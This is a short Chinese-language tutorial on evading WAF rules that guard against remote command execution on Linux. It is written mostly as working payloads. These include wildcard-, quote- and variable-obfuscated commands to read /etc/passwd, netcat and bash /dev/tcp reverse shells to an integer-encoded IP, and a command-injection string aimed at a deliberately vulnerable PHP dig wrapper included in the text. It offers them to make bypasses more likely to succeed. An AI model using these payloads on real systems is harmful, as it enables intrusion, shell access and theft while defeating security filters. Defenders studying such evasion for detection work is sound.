命令执行WAF绕过技巧总结
字数 700 2025-08-18 11:37:37
Linux平台下WAF绕过技巧详解
前言
本文详细总结Linux平台下针对RCE(远程命令执行) WAF的绕过技巧,主要利用bash shell的特性来绕过安全防护规则。Windows平台不在本文讨论范围内。
技巧一:通配符利用
bash shell提供了多种通配符,可用于命令执行绕过:
常用通配符
*- 匹配0到多个任意字符?- 匹配一个任意字符[ ]- 匹配括号内的任一字符[ - ]- 匹配编码顺序内的所有字符[^ ]- 反向选择,匹配不在括号内的字符
实际应用示例
- 执行
ls -l命令:
/?in/?s -l
- 读取/etc/passwd文件:
/???/??t /??c/p???w?
或更精确的:
/?in/cat /?tc/p?sswd
- NC反弹shell(IP转换为整数2130706433):
/??n/?c -e /??n/b??h 2130706433 3737
技巧二:连接符利用
bash允许使用多种方式连接字符串:
连接方式示例
echo hello
echo h'ello
echo 'h'ell'o'
实际应用示例
- 读取/etc/passwd:
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd
- 检测工具是否存在:
/'b'i'n'/'w'h'i'c'h' 'n'c # 检查nc
/'b'i'n'/'w'h'i'c'h' 'w'g'e't # 检查wget
- 反弹shell:
bash -c 'sh -i &>/dev/tcp/2130706433/3737 0>&1'
- 其他连接方式:
- 双引号:
/"b"i"n"/"w"h"i"c"h" "n"c
- 反斜杠:
/b\i\n/w\h\i\c\h n\c
技巧三:未初始化的bash变量
bash允许使用未初始化的变量,这些变量值为null但不会中断命令执行。
实际应用示例
- 读取/etc/passwd:
cat$a /etc$a/passwd$a
- 测试代码示例(PHP):
<?php
echo "OK";
system('dig '.$_GET['host']);
?>
- 利用未初始化变量执行命令:
www.baidu.com;$s/bin$s/which$s nc$s
- 反弹shell:
/bin$s/nc$s -e /bin$s/bash$s 2130706433 3737
总结
本文介绍了三种主要的WAF绕过技术:
- 通配符利用:通过
?、*等通配符模糊匹配命令路径 - 连接符利用:使用引号、反斜杠等分隔命令字符
- 未初始化变量:插入null变量分割命令字符串
这些技术可以单独使用,也可以组合使用以提高绕过成功率。关键在于理解bash shell的解析特性,并灵活运用这些特性来构造WAF规则难以检测的命令格式。